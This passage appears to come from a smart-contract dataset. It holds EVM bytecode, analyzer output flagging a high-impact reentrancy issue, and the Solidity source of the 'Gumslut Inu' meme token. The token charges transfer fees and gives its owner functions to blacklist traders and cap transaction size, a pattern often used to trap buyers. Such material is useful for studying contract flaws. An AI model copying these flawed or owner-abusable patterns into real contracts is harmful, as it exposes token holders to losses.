565b60004790506000811115611c7457611c7347611db1565b5b505b505b611c83838383612185565b505050565b6000838311158290611cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc79190612e41565b60405180910390fd5b5060008385611cdf91906131fa565b9050809150509392505050565b600080831415611cff5760009050611d61565b60008284611d0d91906131a0565b9050828482611d1c919061316f565b14611d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5390612f03565b60405180910390fd5b809150505b92915050565b6000611da983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612195565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e19573d6000803e3d6000fd5b5050565b6000600854821115611e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5b90612ea3565b60405180910390fd5b6000611e6e6121f8565b9050611e838184611d6790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f175781602001602082028036833780820191505090505b5090503081600081518110611f55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ff757600080fd5b505afa15801561200b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202f91906128b0565b81600181518110612069577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d030600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612134959493929190612ffe565b600060405180830381600087803b15801561214e57600080fd5b505af1158015612162573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b612190838383612223565b505050565b600080831182906121dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d39190612e41565b60405180910390fd5b50600083856121eb919061316f565b9050809150509392505050565b60008060006122056123ee565b9150915061221c8183611d6790919063ffffffff16565b9250505090565b6000806000806000806122358761244d565b95509550955095509550955061229386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123748161255d565b61237e848361261a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123db9190612fe3565b60405180910390a3505050505050505050565b600080600060085490506000676f05b59d3b2000009050612422676f05b59d3b200000600854611d6790919063ffffffff16565b82101561244057600854676f05b59d3b200000935093505050612449565b81819350935050505b9091565b600080600080600080600080600061246a8a600a54600b54612654565b925092509250600061247a6121f8565b9050600080600061248d8e8787876126ea565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c88565b905092915050565b600080828461250e9190613119565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a90612ee3565b60405180910390fd5b8091505092915050565b60006125676121f8565b9050600061257e8284611cec90919063ffffffff16565b90506125d281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262f826008546124b590919063ffffffff16565b60088190555061264a816009546124ff90919063ffffffff16565b6009819055505050565b6000806000806126806064612672888a611cec90919063ffffffff16565b611d6790919063ffffffff16565b905060006126aa606461269c888b611cec90919063ffffffff16565b611d6790919063ffffffff16565b905060006126d3826126c5858c6124b590919063ffffffff16565b6124b590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127038589611cec90919063ffffffff16565b9050600061271a8689611cec90919063ffffffff16565b905060006127318789611cec90919063ffffffff16565b9050600061275a8261274c85876124b590919063ffffffff16565b6124b590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278661278184613098565b613073565b905080838252602082019050828560208602820111156127a557600080fd5b60005b858110156127d557816127bb88826127df565b8452602084019350602083019250506001810190506127a8565b5050509392505050565b6000813590506127ee816136d6565b92915050565b600081519050612803816136d6565b92915050565b600082601f83011261281a57600080fd5b813561282a848260208601612773565b91505092915050565b600081359050612842816136ed565b92915050565b600081519050612857816136ed565b92915050565b60008135905061286c81613704565b92915050565b60008151905061288181613704565b92915050565b60006020828403121561289957600080fd5b60006128a7848285016127df565b91505092915050565b6000602082840312156128c257600080fd5b60006128d0848285016127f4565b91505092915050565b600080604083850312156128ec57600080fd5b60006128fa858286016127df565b925050602061290b858286016127df565b9150509250929050565b60008060006060848603121561292a57600080fd5b6000612938868287016127df565b9350506020612949868287016127df565b925050604061295a8682870161285d565b9150509250925092565b6000806040838503121561297757600080fd5b6000612985858286016127df565b92505060206129968582860161285d565b9150509250929050565b6000602082840312156129b257600080fd5b600082013567ffffffffffffffff8111156129cc57600080fd5b6129d884828501612809565b91505092915050565b6000602082840312156129f357600080fd5b6000612a0184828501612833565b91505092915050565b600060208284031215612a1c57600080fd5b6000612a2a84828501612848565b91505092915050565b600060208284031215612a4557600080fd5b6000612a538482850161285d565b91505092915050565b600080600060608486031215612a7157600080fd5b6000612a7f86828701612872565b9350506020612a9086828701612872565b9250506040612aa186828701612872565b9150509250925092565b6000612ab78383612ac3565b60208301905092915050565b612acc8161322e565b82525050565b612adb8161322e565b82525050565b6000612aec826130d4565b612af681856130f7565b9350612b01836130c4565b8060005b83811015612b32578151612b198882612aab565b9750612b24836130ea565b925050600181019050612b05565b5085935050505092915050565b612b4881613240565b82525050565b612b5781613283565b82525050565b6000612b68826130df565b612b728185613108565b9350612b82818560208601613295565b612b8b816133cf565b840191505092915050565b6000612ba3602383613108565b9150612bae826133e0565b604082019050919050565b6000612bc6601983613108565b9150612bd18261342f565b602082019050919050565b6000612be9602a83613108565b9150612bf482613458565b604082019050919050565b6000612c0c602283613108565b9150612c17826134a7565b604082019050919050565b6000612c2f601b83613108565b9150612c3a826134f6565b602082019050919050565b6000612c52602183613108565b9150612c5d8261351f565b604082019050919050565b6000612c75602083613108565b9150612c808261356e565b602082019050919050565b6000612c98602983613108565b9150612ca382613597565b604082019050919050565b6000612cbb602583613108565b9150612cc6826135e6565b604082019050919050565b6000612cde601a83613108565b9150612ce982613635565b602082019050919050565b6000612d01602483613108565b9150612d0c8261365e565b604082019050919050565b6000612d24601783613108565b9150612d2f826136ad565b602082019050919050565b612d438161326c565b82525050565b612d5281613276565b82525050565b6000602082019050612d6d6000830184612ad2565b92915050565b6000604082019050612d886000830185612ad2565b612d956020830184612ad2565b9392505050565b6000604082019050612db16000830185612ad2565b612dbe6020830184612d3a565b9392505050565b600060c082019050612dda6000830189612ad2565b612de76020830188612d3a565b612df46040830187612b4e565b612e016060830186612b4e565b612e0e6080830185612ad2565b612e1b60a0830184612d3a565b979650505050505050565b6000602082019050612e3b6000830184612b3f565b92915050565b60006020820190508181036000830152612e5b8184612b5d565b905092915050565b60006020820190508181036000830152612e7c81612b96565b9050919050565b60006020820190508181036000830152612e9c81612bb9565b9050919050565b60006020820190508181036000830152612ebc81612bdc565b9050919050565b60006020820190508181036000830152612edc81612bff565b9050919050565b60006020820190508181036000830152612efc81612c22565b9050919050565b60006020820190508181036000830152612f1c81612c45565b9050919050565b60006020820190508181036000830152612f3c81612c68565b9050919050565b60006020820190508181036000830152612f5c81612c8b565b9050919050565b60006020820190508181036000830152612f7c81612cae565b9050919050565b60006020820190508181036000830152612f9c81612cd1565b9050919050565b60006020820190508181036000830152612fbc81612cf4565b9050919050565b60006020820190508181036000830152612fdc81612d17565b9050919050565b6000602082019050612ff86000830184612d3a565b92915050565b600060a0820190506130136000830188612d3a565b6130206020830187612b4e565b81810360408301526130328186612ae1565b90506130416060830185612ad2565b61304e6080830184612d3a565b9695505050505050565b600060208201905061306d6000830184612d49565b92915050565b600061307d61308e565b905061308982826132c8565b919050565b6000604051905090565b600067ffffffffffffffff8211156130b3576130b26133a0565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131248261326c565b915061312f8361326c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316457613163613342565b5b828201905092915050565b600061317a8261326c565b91506131858361326c565b92508261319557613194613371565b5b828204905092915050565b60006131ab8261326c565b91506131b68361326c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131ef576131ee613342565b5b828202905092915050565b60006132058261326c565b91506132108361326c565b92508282101561322357613222613342565b5b828203905092915050565b60006132398261324c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328e8261326c565b9050919050565b60005b838110156132b3578082015181840152602081019050613298565b838111156132c2576000848401525b50505050565b6132d1826133cf565b810181811067ffffffffffffffff821117156132f0576132ef6133a0565b5b80604052505050565b60006133048261326c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333757613336613342565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136df8161322e565b81146136ea57600080fd5b50565b6136f681613240565b811461370157600080fd5b50565b61370d8161326c565b811461371857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d0e92d1e9ee24fc5ca6f4311ee0d804bed1468eac1bce9afabe09fcacf31b5264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,921
0xd47ae801685b947e1b75854bfa8c667aa57cc881
//https://t.me/gumslutinu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GumslutInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Gumslut Inu"; string private constant _symbol = 'GSLUT'; uint8 private constant _decimals = 9; uint256 private _taxFee = 42; uint256 private _teamFee = 69; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(1000); uint256 tTeam = tAmount.mul(TeamFee).div(1000); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f47756d736c757420496e75000000000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d4360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73fffffffffffffffff